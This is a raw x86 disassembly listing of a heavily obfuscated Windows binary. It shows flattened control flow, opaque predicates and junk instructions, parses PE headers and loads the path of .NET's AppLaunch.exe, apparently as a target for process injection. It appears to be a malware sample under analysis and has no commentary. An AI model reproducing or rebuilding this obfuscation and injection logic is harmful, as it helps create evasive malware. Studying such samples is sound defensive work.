jne 0x401710
inc eax
rol edi, 0x81
not edi
bswap ebx
add eax, 0x6d
rcr ebx, 0x30
rcl ebx, 0x60
bswap edi
imul ebx
not ebx
not esi
sub edi, 0xab
dec eax
not esi
neg esi
dec edx
imul eax
sub esi, 3
inc edx
bswap ebx
add ebx, 0xd2
sbb ebx, 0x80
rol ebx, 4
imul esi
neg ebx
imul edi
dec edx
sbb eax, 0x17
or eax, 0x20
inc edx
rcr edi, 0x2c
ror eax, 0x18
imul eax
ror ebx, 0xa7
bswap eax
mov edi, 0x22
ror eax, 0xab
rol eax, 0x24
rol eax, 0xeb
dec eax
ror esi, 0x37
mov esi, 0xfe
bswap edx
sbb ebx, 0x3f
ror ebx, 0xb7
rcr esi, 0xab
neg edx
neg esi
dec edx
and edx, 0xb5
dec eax
sub edx, 0x46
sub esi, 0x4c
or ebx, 0x33
rcl eax, 0x92
sub edx, 0xde
inc edx
and edx, 0x7a
or edx, 0xba
and eax, 0x54
and edi, 0x87
add edi, 0xf4
ror edx, 0x2e
or edi, 0xf5
or eax, 0x27
rcr edx, 0x5c
rcl ebx, 0xe2
bswap esi
not esi
ror edx, 0x2c
inc eax
and esi, 0xa4
inc edx
rcr eax, 0x2e
not edx
and esi, 0xf5
add edx, 0x4e
or eax, 0xd3
sbb ebx, 0xb9
inc edi
dec ebx
add ebx, 0x9b
rcr eax, 0x95
dec edi
sub ebx, 0x3e
dec eax
neg esi
or edi, 0x66
dec edx
add edi, 0x4e
not edi
not edx
imul edx
and ebx, 0xae
sbb edi, 0x51
imul esi
ror esi, 0xf6
rcr edx, 0x6c
neg edi
rol edx, 0x1f
bswap edx
or esi, 0x36
and esi, 0x5d
neg edi
inc edx
or ebx, 0x7b
ror edi, 0xb5
neg eax
rcr eax, 0xde
neg edi
not edx
rcl edi, 0x1b
ror edi, 0xaa
rol ebx, 0x9d
rcl edi, 0x5b
neg edi
ror esi, 0x42
inc eax
mov edx, 0xa8
imul ebx
rcr edx, 0x92
mov ebx, 0xa
and eax, 9
rcr edi, 0x21
not eax
mov edi, 0x1d
not edi
rcr ebx, 0x9e
rcl edi, 0x2c
sbb eax, 0xc
rcr esi, 0x95
sub edx, 0xbc
and esi, 0xc4
rol ebx, 0x67
or edx, 0x44
rol edx, 0xba
or edi, 0xba
inc edx
add edx, 0xb5
inc edx
rol esi, 0x81
inc ebx
sub edx, 0x1c
not edx
dec edi
sbb esi, 0x8f
dec esi
neg edi
rcl ebx, 0xdf
mov esi, 0x6f
mov ecx, dword [ebp - 0x24]
mov edi, 0x83cf2939
mov dword [ecx], eax
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov dword [eax], 0
mov ecx, dword [0x4e4174]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x8e11050
and eax, 0xd20a2489
mov edx, ecx
or edx, 0x24004106
and esi, 0x2ce15156
and ecx, 0x1148a20
and edx, 0x2ce15156
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x2514cb26
and ecx, 0xdaeb34d9
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 0x9642aa63
and edx, 0xfffffffe
and ecx, 0x69bd559c
or eax, ecx
xor eax, 0x9642aa62
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x40014049
and eax, 0x9d700280
mov edx, ecx
or edx, 0x3506
and esi, 0x4001754f
and ecx, 0x228e8830
and edx, 0x4001754f
or ecx, esi
mov esi, 0x2dfac40
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x228ebd36
and ecx, 0xdd7142c9
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xab20b414
mov edx, ecx
and edx, 0x54df4beb
or eax, edx
xor eax, 0x54df4beb
xor ecx, eax
test ecx, eax
sete ch
setne ah
cmp dword [0x4e4170], 0xa
setge dl
setl cl
mov al, dl
and cl, ah
inc ah
xor al, ch
not al
and al, ch
or ch, dl
xor al, 1
mov dh, al
or al, ch
xor dh, ch
mov ch, dl
xor al, 1
xor ch, ah
and ah, dl
or al, dh
or ah, cl
and ch, dl
mov cl, al
or ah, ch
xor cl, 1
mov dl, ah
xor dl, 1
and dl, cl
or cl, ah
and ah, al
or ah, dl
mov al, cl
mov edx, 0x83cf2939
xor al, ah
test al, 1
cmovne edx, esi
test ah, 1
mov eax, edx
cmovne eax, edi
test cl, 1
cmovne eax, edx
jmp 0x401710
cmp eax, 0x72670728
je 0x40b39c
cmp eax, 0x72ed3b6e
jne 0x401710
mov eax, 0x153af14f
jmp 0x401710
cmp eax, 0xfc0a4517
je 0x40b3b5
cmp eax, 0xff3f9745
jne 0x401710
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov dword [ebp - 0x1a8], eax
mov eax, 0x1588dbe2
jmp 0x401710
cmp eax, 0xbe1e389
je 0x40b3d4
cmp eax, 0xbf87912
jne 0x401710
mov eax, dword [ebp - 0xd4]
mov eax, dword [0x4e4174]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
mov edx, ecx
and edx, 0xdf10c542
and eax, ecx
not ecx
mov esi, ecx
and esi, 0x20ef3abc
or edx, esi
mov esi, 0x560d4a44
xor edx, 0xdf10c542
or eax, edx
mov edx, eax
not edx
and eax, 0x4dafffad
and edx, 0xb2500052
or eax, edx
xor eax, 0x4dafffad
or eax, ecx
xor eax, 0xffffffff
setne ah
sete dl
cmp dword [0x4e4170], 0xa
mov cl, ah
setge al
xor ah, al
or cl, al
or al, dl
and ah, dl
xor al, 1
or al, ah
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ch, cl
xor ch, dl
and dl, cl
or dl, al
and ch, cl
mov eax, 0x560d4a44
mov cl, dl
xor cl, ch
test dl, dl
mov edx, 0xc4d637e
cmovne eax, edx
test ch, ch
cmove eax, esi
jmp 0x407d05
cmp eax, 0x881820ef
je 0x40b3ed
cmp eax, 0x8f2f7b5d
jne 0x401710
mov eax, 0xebbade0d
jmp 0x401710
cmp eax, 0x485fbabd
je 0x40c399
cmp eax, 0x4908e071
jne 0x401710
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
add eax, 2
mov dword [ebp - 0x194], eax
mov eax, dword [0x4e4174]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
mov eax, ecx
not edx
or eax, 1
mov edi, edx
mov esi, eax
and esi, 0xf1c47517
and edi, 0xe3b8ae8
and edx, 0xc6f3c784
or edi, esi
mov esi, ecx
xor esi, 0xfffffffe
and esi, ecx
and ecx, 0x390c387b
mov ebx, esi
not ebx
and esi, 0xe3b8ae8
or ecx, edx
or eax, ebx
and ebx, 0xf1c47517
or esi, ebx
not eax
xor esi, edi
or eax, esi
mov esi, eax
not esi
mov edx, eax
and edx, 0xdaab35a4
and esi, 0x2554ca5b
or esi, edx
mov edx, ecx
xor edx, 0x2104085b
xor ecx, 0xc6f3c784
or eax, ecx
and ecx, 0xdaab35a4
and edx, 0x2554ca5b
or edx, ecx
not eax
xor edx, esi
mov esi, 0x838dcb85
or eax, edx
mov ecx, eax
not ecx
and eax, 0x5aa876dd
and ecx, 0xa5578922
or eax, ecx
cmp eax, 0x5aa876dd
sete dl
cmp dword [0x4e4170], 0xa
setl ah
setge cl
xor ah, dl
xor ah, 1
mov al, ah
xor al, cl
xor cl, dl
and al, ah
mov ah, cl
mov edx, ecx
xor ah, 1
xor al, 1
and dl, ah
mov ch, ah
xor dl, 1
xor ch, dl
or dl, ah
xor dl, 1
or dl, ch
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xdad0753c
cmovne ecx, esi
test al, al
mov eax, 0xdad0753c
cmovne eax, ecx
jmp 0x406403
cmp eax, 0xd106076b
je 0x40c3b4
cmp eax, 0xd27adfa1
jne 0x401710
mov eax, 0x724dc983
jmp 0x401710
cmp eax, 0x235dea93
je 0x40c4b1
cmp eax, 0x23b45113
jne 0x401710
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0x7c]
mov dword [ecx], eax
mov eax, 0x4f6a571f
jmp 0x401710
cmp eax, 0xa79cdbf3
je 0x40c4c4
cmp eax, 0xa838066f
jne 0x401710
mov eax, dword [0x4e4174]
lea ecx, [eax + 1]
imul ecx, eax
mov esi, ecx
mov eax, ecx
xor eax, 0x34e5b85d
not esi
mov edx, esi
and eax, ecx
and edx, 0x34e5b85d
and esi, 0xf71066bf
and ecx, 0x8ef9940
or eax, edx
or ecx, esi
mov edx, eax
not edx
and eax, 0x34e5b85c
and edx, 0xcb1a47a3
or eax, edx
mov edx, eax
not edx
mov esi, eax
and esi, 0xbf155fa7
and edx, 0x40eaa058
or edx, esi
mov esi, ecx
xor esi, 0xea8040
xor ecx, 0xf71066bf
or eax, ecx
and ecx, 0xbf155fa7
and esi, 0x40eaa058
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x42f50fd1
mov ecx, eax
not ecx
and eax, 0x43ed58c3
and ecx, 0xbc12a73c
or eax, ecx
xor eax, 0x43ed58c3
setne al
sete cl
cmp dword [0x4e4170], 0xa
setl dl
setge ah
and ah, cl
and al, dl
or al, ah
mov ah, cl
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ah, al
xor ah, 1
mov cl, ah
and cl, al
xor cl, 1
or cl, al
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
and ah, dl
xor dl, 1
and cl, dl
or cl, ah
mov ah, al
xor ah, dl
or dl, al
xor dl, 1
or dl, ah
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xd9358926
cmovne esi, eax
test dl, 1
mov eax, 0x42f50fd1
cmovne eax, esi
jmp 0x40c618
cmp eax, 0x6ad50ffe
je 0x40c505
cmp eax, 0x6c9707d2
jne 0x401710
mov eax, dword [ebp - 0x40]
push 0x400
push dword [eax]
push dword [ebp - 0xec]
vzeroupper
call fcn.00421dc0
add esp, 0xc
sub eax, 1
dec edx
rcl eax, 0x5a
sbb edi, 0xcd
imul ebx
rol edx, 0xc9
sbb eax, 0x1b
rcl eax, 0x5c
rol eax, 0x3e
sub esi, 0x78
dec eax
rol ebx, 0xa
rcr esi, 0x38
rcl eax, 0x5d
sub ebx, 0x67
sub edi, 0xbb
dec edx
inc ebx
not eax
bswap ebx
or edx, 0x55
rcr edx, 0xcd
bswap ebx
imul edi
sbb edi, 0x92
sub edi, 0x79
and edi, 0x31
not eax
rol eax, 0x16
not edi
dec edx
sub esi, 0x5c
dec ebx
inc edx
mov esi, 0xe
not esi
add edi, 0xc3
add ebx, 0xbc
rol edx, 0x88
not eax
bswap eax
not eax
rol eax, 0x34
ror edx, 0xc1
dec eax
not eax
sbb ebx, 0x51
rcl edx, 0x70
bswap edx
not eax
imul ebx
inc esi
add eax, 9
bswap ebx
imul edx
add edx, 0x6c
sbb edi, 0xd1
dec esi
bswap edi
rcl eax, 0xa7
and esi, 0xb7
not eax
bswap ebx
not ebx
add edi, 0x2e
mov eax, 0xd9
neg eax
and edi, 0x5a
not edx
mov eax, 0xdf
rcr eax, 0x70
inc edx
imul esi
inc edi
rcl ebx, 0x47
rcr edi, 0x28
and esi, 0x8e
rcr edi, 0xbc
ror edx, 0xe1
and esi, 0x62
inc esi
rcr ebx, 0x6b
rcl esi, 0x32
sbb esi, 0x90
inc edi
neg edi
not edx
dec edx
not edi
inc ebx
bswap esi
rcr edi, 0xc4
imul eax
dec ebx
dec edx
inc edi
rcr edx, 0x10
not ebx
inc esi
neg edi
neg esi
inc eax
and edi, 0xd
ror edi, 0xc2
mov edx, 0x1a
imul ebx
or edx, 0x7b
imul edx
add esi, 0x63
not edi
bswap ebx
ror edi, 0x26
inc ebx
ror edi, 0xd0
and eax, 0x62
rcr edx, 0xc4
rcr eax, 0xb1
ror esi, 0
neg edi
inc edi
imul esi
not esi
ror edi, 0x81
bswap esi
dec esi
bswap edx
neg ebx
or edx, 0x8d
ror edi, 0x22
dec edx
sub edi, 0xe2
sbb ebx, 0x34
imul eax
inc esi
neg eax
add eax, 0x82
rcr ebx, 0xe1
and edx, 0xe4
imul edx
ror edx, 0x50
rcr ebx, 7
add eax, 0xa4
ror edi, 0xf9
imul ebx
rcl ebx, 0x7f
add edi, 0xae
mov eax, 0xc5
neg esi
bswap edi
and esi, 0xe
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 0x14]
lea eax, [eax + ecx + 0x18]
mov ecx, dword [0x4e4174]
mov dword [ebp - 0x124], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
or ecx, 0x24000902
mov esi, edx
mov edi, edx
or esi, 0x9c62401
and ecx, 0x2dc62d03
and edi, 0x1c2a4
and edx, 0xabf8c049
or edi, ecx
mov ecx, eax
and esi, 0x2dc62d03
and ecx, 0xd2381058
and eax, 0x54073fb6
or ecx, esi
or eax, edx
xor ecx, edi
mov esi, ecx
not esi
and ecx, 0x9c7e6a4
and esi, 0xf638195b
or ecx, esi
mov esi, ecx
not esi
mov edx, ecx
and edx, 0x112d4e2a
and esi, 0xeed2b1d5
or esi, edx
mov edx, eax
xor edx, 0x44023194
xor eax, 0xabf8c049
or ecx, eax
and eax, 0x112d4e2a
and edx, 0xeed2b1d5
or edx, eax
not ecx
xor edx, esi
mov esi, 0x90fe71a
or ecx, edx
xor ecx, 0xffffffff
setne dl
sete ah
cmp dword [0x4e4170], 0xa
mov ch, dl
setl cl
setge al
and dl, cl
and ch, al
and cl, ah
or cl, ch
xor cl, 1
or cl, al
and al, ah
or al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ch, cl
xor ch, dl
and dl, cl
or dl, al
and ch, cl
mov eax, 0xcafc1a96
mov cl, dl
xor cl, ch
test dl, dl
mov edx, 0xcafc1a96
cmovne eax, esi
test ch, 1
cmove eax, edx
test cl, 1
cmovne eax, esi
jmp 0x401710
cmp eax, 0xef7e5e02
je 0x40c623
cmp eax, 0xf00b24e1
jne 0x401710
mov eax, dword [ebp - 0x28]
mov eax, 0xc13c3be
jmp 0x401710
cmp eax, 0x17078039
je 0x40c6fa
cmp eax, 0x18550205
jne 0x401710
mov eax, 0x86b99e65
jmp 0x401710
cmp eax, 0x9af0f825
je 0x4015cf
cmp eax, 0x9c38f819
jne 0x401710
mov eax, dword [ebp - 0x54]
mov dword [eax], 0x20
mov eax, 0x528a437
jmp 0x401710
cmp eax, 0x5835036f
je 0x40c713
cmp eax, 0x5a695e59
jne 0x401710
mov eax, dword [ebp - 0x144]
mov ecx, dword [ebp - 0x140]
cmp ecx, dword [eax]
mov eax, 0x291e2ed1
setne byte [ebp - 0x93]
jmp 0x401710
cmp eax, 0xe09d1782
je 0x40c760
cmp eax, 0xe0d34a9a
jne 0x401710
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc4]
vxorps xmm0, xmm0, xmm0
vmovups xmmword [eax], xmm0
mov eax, 0x2321c5d0
jmp 0x401710
cmp eax, 0x34aad52b
je 0x40c954
cmp eax, 0x364856bc
jne 0x401710
mov eax, 0x9d71932d
jmp 0x401710
cmp eax, 0xbc225558
je 0x40c967
cmp eax, 0xbcfdd226
jne 0x401710
mov ecx, dword [0x4e4174]
mov edi, 0x6ad50ffe
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov esi, eax
xor esi, 0xe7b0b801
not edx
mov ecx, edx
and esi, eax
and ecx, 0xe7b0b801
and edx, 0xede6ce0d
and eax, 0x121931f2
or esi, ecx
or eax, edx
mov ecx, esi
not ecx
and esi, 0xff2763d
and ecx, 0xf00d89c2
or esi, ecx
mov ecx, esi
xor ecx, 0xa8000604
xor esi, 0x10990142
and esi, 0x50dbc97b
and ecx, 0xaf243684
or ecx, esi
mov esi, ecx
xor esi, 0x2f002200
xor ecx, 0x50dbc97b
mov edx, ecx
and edx, 0x90afdc9f
and esi, 0x6f502360
or esi, edx
mov edx, eax
xor edx, 0x2102160
xor eax, 0xede6ce0d
or ecx, eax
and eax, 0x90afdc9f
and edx, 0x6f502360
or edx, eax
not ecx
xor edx, esi
mov esi, 0x148c5d27
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x15210a56
and eax, 0xeadef5a9
or ecx, eax
xor ecx, 0x15210a56
sete cl
setne dl
cmp dword [0x4e4170], 0xa
setl al
setge ah
xor al, cl
or ah, dl
mov ecx, eax
and al, ah
xor ah, 1
xor cl, 1
mov dl, ah
xor dl, cl
and cl, ah
and dl, ah
or cl, al
mov eax, edx
xor al, cl
cmovne esi, edi
test cl, cl
mov eax, esi
cmovne eax, edi
test dl, dl
cmove eax, esi
jmp 0x401710
cmp eax, 0x7c2ae52d
je 0x40c971
cmp eax, 0x7c972ea4
jne 0x401710
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x110]
mov dword [eax + 4], ecx
push dword [ebp - 0x70]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x3c]
add eax, eax
mov ecx, dword [ecx]
mov word [ecx], ax
mov eax, 0x32f2a01a
jmp 0x401710
cmp eax, 0xf5a15b5e
je 0x40c98a
cmp eax, 0xf5a6f0cd
jne 0x401710
mov eax, 0xa544ff5d
jmp 0x401710
cmp eax, 0x46fa8ae
je 0x40c994
cmp eax, 0x528a437
jne 0x401710
mov eax, dword [0x4e4174]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0x40ba4c8a
and edx, 0xbf45b375
or eax, edx
mov edx, eax
xor edx, 0x40220802
xor eax, 0xbf45b375
mov esi, eax
and esi, 0x9bddc6c9
and edx, 0x64223936
or edx, esi
mov esi, ecx
not esi
and ecx, 0x64223936
or eax, esi
and esi, 0x9bddc6c9
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0x504238e9
and eax, 0xafbdc716
or eax, edx
xor eax, 0xafbdc717
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0xa0084812
and eax, 0x43e60040
mov edx, ecx
or edx, 0x1c11b5a4
and esi, 0xbc19fdb6
and ecx, 0x209
and edx, 0xbc19fdb6
or ecx, esi
mov esi, 0xc7fa275a
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x1c11b7ad
and ecx, 0xe3ee4852
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x6f2c139c
and ecx, 0x90d3ec63
or ecx, eax
xor ecx, 0x90d3ec63
setne dl
sete ah
cmp dword [0x4e4170], 0xa
setge al
setl ch
mov cl, al
and ch, dl
xor cl, ah
and cl, al
and al, ah
or al, ch
or cl, al
mov edx, ecx
mov ah, cl
and ah, al
xor dl, 1
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x5eaaa8ce
cmovne ecx, esi
test al, al
mov eax, 0x5eaaa8ce
jmp 0x40aefe
cmp eax, 0x8164f95a
je 0x40ca66
cmp eax, 0x833e55ec
jne 0x401710
mov eax, dword [ebp - 0x14c]
mov ecx, dword [ebp - 0x148]
sub ecx, dword [eax + 0x34]
mov eax, dword [ebp - 0xac]
mov dword [eax], ecx
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x60]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x64]
mov dword [ecx], eax
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
mov dword [eax], 0
mov eax, 0xcfcf6c4b
jmp 0x401710
cmp eax, 0x3b605328
je 0x40cb1b
cmp eax, 0x3b925868
jne 0x401710
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xbce82e67
and ecx, eax
not eax
and eax, 0xbce82e67
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xf617f22e
and eax, 0x9e80dd1
or ecx, eax
mov eax, ecx
mov edx, ecx
xor ecx, 0x350023b6
xor eax, 0x4affdc49
xor edx, 0xcaffdc49
and edx, eax
and ecx, 0x7fffffff
and eax, 0x80000000
or eax, ecx
mov ecx, edx
not ecx
and edx, 0xb33d32e4
mov esi, eax
not esi
mov edi, ecx
and edi, 0x4cc2cd1b
and eax, 0xb33d32e4
or ecx, esi
and esi, 0x4cc2cd1b
or edx, edi
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov edx, ecx
xor edx, 0x79339646
mov eax, ecx
and eax, 0xdee296bb
and edx, ecx
not ecx
and ecx, 0x211d6944
mov esi, edx
not esi
and edx, 0x267aba21
or eax, ecx
mov ecx, eax
xor eax, 0x21110044
xor ecx, 0x229200
or eax, 0x86cc69b9
and ecx, 0x20329200
mov edi, eax
or eax, esi
and edi, 0xd98545de
and esi, 0xd98545de
or ecx, edi
or edx, esi
not eax
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x8461e6e0
and ecx, 0x7b9e191f
or eax, ecx
xor eax, 0xfd5270a6
mov dword [ebp - 0x1b4], eax
mov eax, 0x50c77608
jmp 0x401710
cmp eax, 0xc5346a89
je 0x40cb2e
cmp eax, 0xc58655ce
jne 0x401710
mov eax, dword [0x4e4174]
mov esi, 0xa2f65c2e
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xfffffffe
andn edx, ecx, edx
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x8001000
and eax, 0x76ff6cbf
and ecx, 0x81008340
or edx, ecx
xor edx, 0x8001000
or eax, edx
mov ecx, eax
not ecx
and eax, 0x2c501d59
and ecx, 0xd3afe2a6
or eax, ecx
mov ecx, eax
xor ecx, 0x4408400
xor eax, 0x5aaf71e6
mov edx, eax
and edx, 0xf3127b3f
and ecx, 0xced84c0
or ecx, edx
xor ecx, 0xced84c0
or ecx, eax
xor ecx, 0xffffffff
setne dl
sete ah
cmp dword [0x4e4170], 0xa
mov ch, dl
setl cl
setge al
and ch, al
and cl, ah
or cl, ch
xor cl, 1
or cl, al
xor al, dl
xor cl, 1
xor al, cl
mov edx, eax
not dl
and dl, cl
test al, 1
mov ecx, 0xb9f6d1f4
cmovne ecx, esi
test dl, 1
cmovne ecx, esi
test al, 1
mov eax, ecx
cmovne eax, esi
test dl, 1
cmove eax, ecx
jmp 0x401710
cmp eax, 0x1dc16015
je 0x40cc75
cmp eax, 0x1df0f5d6
jne 0x401710
mov eax, dword [ebp - 0x10c]
vmovups ymm1, ymmword [0x42f1a0]
vmovups ymm0, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymm2, ymmword [0x42f1c0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x5c]
add eax, 0xfffffff8
mov dword [ecx], eax
bswap edi
imul eax
not eax
sub eax, 0xc3
bswap esi
bswap esi
sbb eax, 0xba
imul edi
bswap edi
rcr ebx, 0xe1
neg esi
add edi, 0xc9
neg ebx
and edx, 0x2c
not ebx
sbb edi, 0x64
dec edi
rcl eax, 0x5d
neg edi
sub eax, 0x2c
or edi, 0x4b
or edi, 0xa
and esi, 0xc0
not esi
neg edi
bswap edi
dec ebx
or edi, 0xf6
dec edx
add ebx, 0xf
neg edi
imul edi
not edx
mov esi, 0x7e
inc esi
sbb edx, 0xab
dec esi
not edi
not edi
rcl ebx, 0x89
add eax, 0x49
bswap esi
rol edx, 0xf6
rcr edx, 0xb1
imul edi
ror eax, 0xd9
sub edx, 0x7b
rcr eax, 0x7c
and eax, 0xc3
sbb esi, 0xb7
dec edi
not edx
imul esi
bswap eax
imul edx
mov ebx, 0xcf
rol esi, 0x9d
sub esi, 0x24
rcr ebx, 0xd0
imul edi
or edi, 0x1d
or edi, 0x61
rol edi, 0xa5
and edx, 0x80
and edi, 0xa8
not ebx
sbb edi, 0x92
sbb edi, 0xd3
dec edx
neg edi
and edi, 0x5c
bswap edx
sub ebx, 0x36
inc esi
mov ebx, 0x39
or esi, 0x23
rcl edx, 0x71
bswap edi
bswap edi
bswap edi
sub edx, 0x9b
rcr eax, 0x34
dec edx
add eax, 0xe6
imul edx
imul ebx
and ebx, 0x75
inc eax
not ebx
ror edi, 0x45
ror edi, 0x48
bswap edi
neg ebx
dec edx
not esi
and eax, 0x22
mov eax, 0
rcl esi, 0x51
ror ebx, 0xcd
ror eax, 0xac
rcl edx, 0x31
ror edx, 0x67
not esi
rcr edi, 0x9b
and eax, 0x53
rcr esi, 5
rol edx, 1
dec edi
ror edx, 0xe9
rcr esi, 0xd3
mov ebx, 9
neg eax
bswap edx
dec edx
add eax, 0x37
ror esi, 0xc8
rol esi, 0x79
neg edx
mov edi, 0x5e
rol edi, 0x46
bswap edx
imul eax
sub eax, 0xac
rcr ebx, 0x82
inc eax
not ebx
sub eax, 0xb
not edx
sbb edx, 0x83
mov edi, 0x16
and eax, 0x78
mov edi, 0x33
bswap ebx
not edi
rcl ebx, 0x2c
not esi
and esi, 0x84
sbb edx, 0xd6
neg ebx
neg edx
mov edx, 0x41
bswap ebx
not edx
and ebx, 0x2e
and edx, 0xa3
dec ebx
inc esi
sub edi, 0x7c
sbb esi, 0x48
not ebx
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x58]
mov ecx, dword [ecx]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x5c]
mov ecx, dword [ecx]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
add eax, 0x24
mov dword [ecx], eax
sub edx, 0xc7
ror eax, 0x35
bswap ebx
not edi
rcr edi, 0xf6
rcr esi, 0xb8
rol esi, 0x9d
mov esi, 6
bswap ebx
rol esi, 0xa9
rcl ebx, 0xfc
sub edi, 0x2f
ror esi, 0x88
sbb eax, 5
dec edx
mov edx, 0xa5
rol edx, 0x34
rol eax, 0x1e
not ebx
and edi, 0xb7
dec esi
add esi, 0xa6
ror ebx, 0xa3
rcl edi, 0x69
dec eax
not eax
not edx
or eax, 0x66
imul eax
rcr ebx, 0xb4
bswap edx
sbb ebx, 0x21
sub edi, 0xd8
neg ebx
inc edi
sbb eax, 0x15
sub edi, 0
and ebx, 0xce
not ebx
rcr esi, 0xe4
dec edi
inc esi
or ebx, 0x6e
mov eax, 0x52
neg edi
not esi
add edx, 0x70
inc edi
rcr eax, 0x3a
dec esi
dec edi
and edi, 0x1d
dec eax
imul edx
not edx
and eax, 0x58
sub esi, 0xa9
not edx
neg edx
sbb ebx, 0x90
rcr esi, 0xc4
or eax, 0xb1
neg esi
inc eax
mov eax, 0xdb
bswap esi
bswap edx
inc edx
neg edx
mov eax, 0x81
not edx
dec edx
or eax, 0xa0
neg eax
ror edx, 0x8a
ror esi, 0x18
add eax, 0x12
ror ebx, 0x5f
sbb edx, 0xdb
rol esi, 0x24
not edi
rcl edx, 0xed
ror esi, 0x22
sbb edx, 0x16
neg ebx
imul edi
sub edi, 0x56
inc esi
and esi, 0xd1
imul esi
rcl edx, 0x64
dec esi
rcl edx, 8
rcl esi, 0xb4
imul ebx
not esi
or edi, 0xfa
inc ebx
imul edx
sbb ebx, 0xe0
inc edi
not eax
ror edi, 0xa4
not ebx
imul ebx
or edi, 0xd0
inc esi
dec edi
or edi, 0x43
add esi, 0xef
dec edx
imul edx
neg eax
rol eax, 0xc7
neg edi
sbb esi, 0x3c
dec edi
rol eax, 0xce
mov eax, 0x3e
or edi, 0x64
imul ebx
imul edx
imul eax
sbb eax, 0x77
not eax
bswap eax
imul edi
and ebx, 0xaf
inc edi
dec eax
imul eax
rcl esi, 0x44
mov esi, 0x59
dec ebx
sub edx, 0xdf
imul eax
inc eax
bswap esi
and edx, 0x30
add edx, 0x64
or eax, 0x46
not edx
or esi, 0xf8
imul ebx
sub ebx, 0xad
or ebx, 0xe1
not ebx
rcr ebx, 0xa0
not eax
bswap eax
mov edx, dword [ebp - 0x24]
mov dword [edx], eax
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
vmovups ymmword [eax + 0x20], ymm1
vmovups ymm1, ymmword [0x42f1d8]
vmovups ymmword [eax + 0x40], ymm2
vmovups ymmword [eax], ymm0
vmovups ymmword [eax + 0x58], ymm1
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0x74]
setne byte [eax]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x74]
mov eax, 0x77cd6f2d
jmp 0x401710
cmp eax, 0xa2115396
je 0x40cdcf
cmp eax, 0xa2f65c2e
jne 0x401710
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
movzx eax, word [eax]
